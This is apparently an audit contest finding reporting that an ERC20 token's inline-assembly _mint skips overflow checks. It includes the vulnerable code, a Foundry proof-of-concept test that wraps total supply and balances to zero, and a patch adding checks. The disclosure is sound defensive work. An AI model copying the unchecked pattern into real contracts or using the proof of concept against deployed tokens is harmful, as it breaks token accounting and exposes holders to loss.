Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: medium

`_mint` Function Lacks Overflow Protection, Allowing Total Supply and Balance to Wrap to Zero

Author Revealed upon completion

Description

In a standard ERC20 implementation, the _mint function should verify that adding new tokens does not cause the total supply or account balance to overflow beyond type(uint256).max. If an overflow would occur, the function should revert.

The _mint function in ERC20Internals.sol does not check for overflow when adding to totalSupply or account balances. Since inline assembly bypasses Solidity 0.8.x's built-in overflow protection, the values can silently wrap around, causing the total supply to become a small number (or zero) despite large amounts of tokens existing.

// @> Root cause in ERC20Internals.sol::_mint (lines 134-156)
function _mint(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0xec442f05))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
let supply := sload(supplySlot)
sstore(supplySlot, add(supply, value)) // @> No overflow check - wraps around!
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
sstore(accountBalanceSlot, add(accountBalance, value)) // @> No overflow check!
}
}

Risk

Likelihood: Low-Medium

  • Requires a derived contract to expose _mint functionality (as it's internal)

  • Reaching overflow requires minting near type(uint256).max tokens

  • However, tokens with small decimals or multiple mint calls can accumulate to overflow

Impact: High

  • Total supply overflows to zero or a small value while actual balances exist

  • Complete breakdown of token accounting invariant: totalSupply == sum(balances)

  • DeFi protocols relying on totalSupply() for calculations will malfunction

  • Price oracles and automated market makers may be exploited

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract MintOverflowExploit is Test {
Token public token;
function setUp() public {
token = new Token();
}
function test_Mint_Overflow() public {
address alice = makeAddr("alice");
// Mint max uint256 tokens
token.mint(alice, type(uint256).max);
assertEq(token.totalSupply(), type(uint256).max);
// Mint 1 more token - this overflows totalSupply to 0
token.mint(alice, 1);
// Total supply wrapped around to 0!
console.log("Total supply after overflow:", token.totalSupply());
assertEq(token.totalSupply(), 0);
// But Alice's balance also wrapped and she now has 0 tokens
console.log("Alice balance:", token.balanceOf(alice));
assertEq(token.balanceOf(alice), 0);
}
function test_Mint_Overflow_PartialWrap() public {
address alice = makeAddr("alice");
address bob = makeAddr("bob");
// Mint max - 100 to Alice
token.mint(alice, type(uint256).max - 100);
// Mint 200 to Bob - causes overflow
token.mint(bob, 200);
// Total supply is now 99 (wrapped around)
console.log("Total supply:", token.totalSupply());
assertEq(token.totalSupply(), 99);
// But actual circulating tokens are way more
console.log("Alice balance:", token.balanceOf(alice));
console.log("Bob balance:", token.balanceOf(bob));
}
}

Test Output:

[PASS] test_Mint_Overflow() (gas: 46274)
Logs:
Total supply after overflow: 0

Note: The same overflow vulnerability exists in _transfer for the receiver's balance (add(toAmount, value)), though exploiting it requires first triggering another vulnerability (H-01, H-02) to achieve a near-max balance.

Recommended Mitigation

Add overflow checks before performing the additions:

function _mint(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0xec442f05))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
let supply := sload(supplySlot)
+ let newSupply := add(supply, value)
+
+ // Check for overflow: if newSupply < supply, overflow occurred
+ if lt(newSupply, supply) {
+ // revert with Panic(0x11) - arithmetic overflow
+ mstore(0x00, shl(224, 0x4e487b71))
+ mstore(0x04, 0x11)
+ revert(0x00, 0x24)
+ }
- sstore(supplySlot, add(supply, value))
+ sstore(supplySlot, newSupply)
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
- sstore(accountBalanceSlot, add(accountBalance, value))
+ let newBalance := add(accountBalance, value)
+
+ // Check for overflow
+ if lt(newBalance, accountBalance) {
+ mstore(0x00, shl(224, 0x4e487b71))
+ mstore(0x04, 0x11)
+ revert(0x00, 0x24)
+ }
+ sstore(accountBalanceSlot, newBalance)
+
+ // Emit Transfer event from address(0) per ERC20 standard
+ mstore(ptr, value)
+ log3(ptr, 0x20, 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x00, account)
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!